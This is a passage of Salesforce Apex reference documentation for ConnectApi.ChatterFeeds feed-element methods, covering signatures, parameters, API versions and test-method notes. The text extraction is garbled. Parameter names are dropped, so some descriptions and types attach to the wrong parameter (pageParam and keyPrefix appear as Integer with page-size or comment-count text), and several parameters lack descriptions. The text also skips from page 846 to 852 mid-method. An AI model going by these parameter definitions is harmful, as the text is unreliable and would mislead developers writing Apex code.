getFeedElementsFromBundle(communityId, feedElementId)
Returns the first page of feed-elements from a bundle.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId,
String feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String

820

Reference

ChatterFeeds Class

The ID for a feed element.

Return Value
Type: ConnectApi.FeedElementPage Class

getFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize,

elementsPerBundle, recentCommentCount)
Returns the feed elements on the specified page for the bundle. Each feed element includes no more than the specified number of
comments. Specify the maximum number of feed elements in a bundle.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId,
String feedElementId, String pageParam, Integer pageSize, Integer elementsPerBundle,
Integer recentCommentCount)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
pageParam

Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
recentCommentCount

Type: Integer

821

Reference

ChatterFeeds Class

The maximum number of comments to return with each feed element. The default value is 3.

Return Value
Type: ConnectApi.FeedElementPage Class

getFeedElementsFromFeed(communityId, feedType)
Returns the first page of feed elements from the Company, Home, and Moderation feed types. The page contains the default
number of items.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType

Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, and Moderation.

Return Value
Type: ConnectApi.FeedElementPage Class

822

Reference

ChatterFeeds Class

getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)

Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType

Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, and Moderation.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

823

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedElementPage Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam)
Returns the feed elements for the specified page for the Company, Home, and Moderation feed types, in the specified order. Each
feed element contains no more than the specified number of comments.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

824

Reference

ChatterFeeds Class

density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

AllUpdatesDisplays all updates from people and records the user follows and groups the user is a member of.
FewerUpdatesDisplays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, filter)
Returns the feed elements for the specified page for the Home feed type, with the specified filter in the specified order. Each feed
element contains no more than the specified number of comments.

API Version
32.0

825

Reference

ChatterFeeds Class

Available to Guest Users

32.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. The only valid value is Home.

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

826

Reference

ChatterFeeds Class

Sorts the returned feed by the most recently created feed element, or by the most recently modified feed element. If you pass in
null, the default value CreatedDateDesc is used.
filter

Type: ConnectApi.FeedFilter
Specifies the feed filters.
AllQuestionsOnly feed elements that are questions.
CommunityScopedOnly feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
SolvedQuestionsOnly feed elements that are questions and that have a best answer.
UnansweredQuestionsOnly feed elements that are questions and that dont have any answers.
UnsolvedQuestionsOnly feed elements that are questions and that dont have a best answer.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter,
result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, subjectId)

Returns the first page of feed elements for any feed type other than Company, Filter, Home, and Moderation, for the specified
user or record. The page contains the default number of elements.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

827

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType

Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From a Feed
Get Feed Elements From Another Users Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam)
Returns the feed elements on the specified page for any feed type other than Company, Filter, Home, and Moderation, in the
specified order.

API Version
31.0

Available to Guest Users

31.0

828

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: Integer
The number of feed elements per page.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedElementPage

829

Reference

ChatterFeeds Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From a Feed
Get Feed Elements From Another Users Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam)
Returns the feed elements on the specified page for any feed type other than Company, Filter, Home, and Moderation, in the
specified order. Each feed element includes no more than the specified number of comments.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: String

830

Reference

ChatterFeeds Class

If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Topics, subjectId
must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value,
subjectId must be the ID of the context user or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From a Feed
Get Feed Elements From Another Users Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, result)
Testing ConnectApi Code

831

Reference

ChatterFeeds Class

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed element
includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-community)
users only.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

832

Reference

ChatterFeeds Class

pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From Another Users Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, showInternalOnly, result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, filter)
Returns the specified page of feed elements for the UserProfile feed. Use this method to filter the UserProfile feed to
include only feed elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out.
Currently, feed elements scoped to communities have a User or a Group parent record. However, other parent record types could be
scoped to communities in the future.

API Version
35.0

833

Reference

ChatterFeeds Class

Available to Guest Users

35.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.UserProfile.

subjectId

Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

834

Reference

ChatterFeeds Class

Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Community-Specific Feed Elements from a Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, filter, result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed element
includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-community)
users only. Specify the maximum number of feed elements in a bundle.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

835

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

836

Reference

ChatterFeeds Class

Sorts the returned feed by the most recently created feed element, or by the most recently modified feed element. If you pass in
null, the default value CreatedDateDesc is used.
showInternalOnly

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From Another Users Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, sortParam, showInternalOnly, result)
Testing ConnectApi Code

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
filter)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed element
includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-community)
users only. Specify the maximum number of feed elements in a bundle and the feed filter.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,

837

Reference

ChatterFeeds Class

ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedFilter

filter)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

838

Reference

ChatterFeeds Class

showInternalOnly

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
filter

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From Another Users Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, sortParam, showInternalOnly, filter, result)
Testing ConnectApi Code

getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)

Returns the first page of feed elements for the specified user and the specified key prefix.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String
communityId, String subjectId, String keyPrefix)

839

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

Return Value
Type: ConnectApi.FeedElementPage

getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam,

pageSize, sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String
communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

840

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

841

Reference

ChatterFeeds Class

getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, elementsPerBundle, density, pageParam, pageSize,
sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order. Each feed element
contains no more than the specified number of comments.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

AllUpdatesDisplays all updates from people and records the user follows and groups the user is a member of.

842

Reference

ChatterFeeds Class

FewerUpdatesDisplays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerClump, density,
pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,

recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince)
Returns the specified page of feed elements for the specified user and the specified key prefix. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter.

API Version
31.0

Requires Chatter
Yes

843

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeedUpdatedSince(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesnt return feed elements that are created in the same second as the call.

844

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerClump,
density, pageParam, pageSize, updatedSince, result)
Testing ConnectApi Code

getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the Company, Home, and Moderation feed types. Includes only feed elements
that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the
specified number of comments.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.

845

Reference

ChatterFeeds Class

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesnt return feed elements that are created in the same second as the call.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
result)
Testing ConnectApi Code

getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, updatedSince, filter)
Returns the specified page of feed elements for the Home feed type with the specified feed filter. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the specified
number of comments.

846

Reference

ChatterFeeds Class

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. The only valid value is Home.

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

35.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, ConnectApi.FeedFilter filter)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.UserProfile.

852

Reference

ChatterFeeds Class

subjectId

Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Return Value
Type: ConnectApi.FeedElementPage

853

Reference

ChatterFeeds Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Community-Specific Feed Elements from a Feed
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density,
pageParam, pageSize, updatedSince, filter, result)
Testing ConnectApi Code

getFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community) users
only. Specify the maximum number of feed elements in a bundle.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String

854

Reference

ChatterFeeds Class

Any record ID, including a group ID.

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density,
pageParam, pageSize, updatedSince, showInternalOnly, result)
Testing ConnectApi Code

855

Reference

ChatterFeeds Class

getFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly, filter)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community) users
only. Specify the maximum number of feed elements in a bundle and the feed filter.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedFilter filter)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity

856

Reference

ChatterFeeds Class

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
filter

Return Value
Type: ConnectApi.FeedElementPage

857

Reference

ChatterFeeds Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density,
pageParam, pageSize, updatedSince, showInternalOnly, filter, result)
Testing ConnectApi Code

getFeedItem(communityId, feedItemId)
Returns a rich description of the specified feed item.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElement(communityId, feedElementId).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItem getFeedItem(String communityId, String feedItemId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.

Return Value
Type: ConnectApi.FeedItem
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.

858

Reference

ChatterFeeds Class

getFeedItemBatch(communityId, feedItemIds)
Returns information about the specified list of feed items. Returns a list of BatchResult objects containing
ConnectApi.FeedItem objects. Errors for feed items that can't be loaded are returned in the results.

API Version
31.031.0
Important: In version 32.0 and later, use getFeedElementBatch(communityId, feedElementIds).

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getFeedItemBatch(String communityId, List<String>
feedItemIds)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemIds

Type: List<String>
A list of up to 500 feed item IDs.

Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedItem object.

Example
// Create a list of feed items.
ConnectApi.FeedItemPage feedItemPage = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null,
ConnectApi.FeedType.Company);
System.debug(feedItemPage);
// Create a list of feed item IDs.
List<String> feedItemIds = new List<String>();
